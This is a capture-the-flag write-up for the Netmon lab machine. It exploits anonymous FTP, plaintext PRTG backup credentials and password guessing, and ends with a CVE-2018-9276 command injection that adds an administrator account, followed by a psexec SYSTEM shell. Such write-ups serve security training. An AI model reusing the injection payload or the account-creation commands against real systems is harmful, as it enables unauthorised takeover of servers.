Overview

Netmon is a Windows machine rated Easy. The foothold relies on:

Anonymous FTP access to the entire C:\ drive
Finding old PRTG config backup files containing credentials
Guessing the current password based on backup creds
Exploiting PRTG CVE-2018-9276 (authenticated RCE) for SYSTEM

Reconnaissance

nmap -sC -sV -p- --min-rate 5000 10.10.10.152

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      Microsoft ftpd
80/tcp  open  http     Indy httpd 18.1.37.13946
135/tcp open  msrpc    Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Anonymous FTP

ftp 10.10.10.152
# Login: anonymous / (blank)

FTP gives access to C:\. Let's grab the user flag first:

ftp> get Users\Public\user.txt

dd58ce67b49e15105e88096c8d9255a5

Foothold — PRTG Credentials

PRTG stores its config (and backups) in:

C:\ProgramData\Paessler\PRTG Network Monitor\

The current PRTG Configuration.dat has blank/encrypted passwords.
But the backup file PRTG Configuration.old.bak contains plaintext credentials:

ftp> get "ProgramData/Paessler/PRTG Network Monitor/PRTG Configuration.old.bak"

grep -i "password" "PRTG Configuration.old.bak"

<dbpassword>
  PrTg@dmin2018
</dbpassword>

The backup is from 2018 — try PrTg@dmin2019 for the current year pattern:

URL: http://10.10.10.152
User: prtgadmin
Pass: PrTg@dmin2019

Login succeeds.

Exploitation — CVE-2018-9276

PRTG Network Monitor ≤ 18.2.38 is vulnerable to an OS command injection via the notification system. An authenticated admin can inject commands into the notification "Parameter" field.

Steps

Go to Setup → Notifications → Add New Notification
Enable Execute Program
Set Program File to Demo exe notification - outfile.ps1

In Parameter, inject:

test.txt; net user pentest P@ssw0rd123 /add; net localgroup administrators pentest /add

Save and click Send Test Notification

Get a Shell

With our new admin user created, use psexec.py:

psexec.py pentest:'P@ssw0rd123'@10.10.10.152

C:\Windows\system32> whoami
nt authority\system

Root Flag

type C:\Users\Administrator\Desktop\root.txt
3018977fb944bf1878be0b94cf47f59a

Summary

Step	Details
Recon	Anonymous FTP exposes entire filesystem
Cred leak	Backup PRTG config has plaintext password
Cred guess	Password pattern: `PrTg@dmin2018` → `2019`
Exploit	CVE-2018-9276 — PRTG authenticated command injection
Result	`NT AUTHORITY\SYSTEM`

Lesson: Always delete backup config files, rotate credentials regularly, and patch PRTG.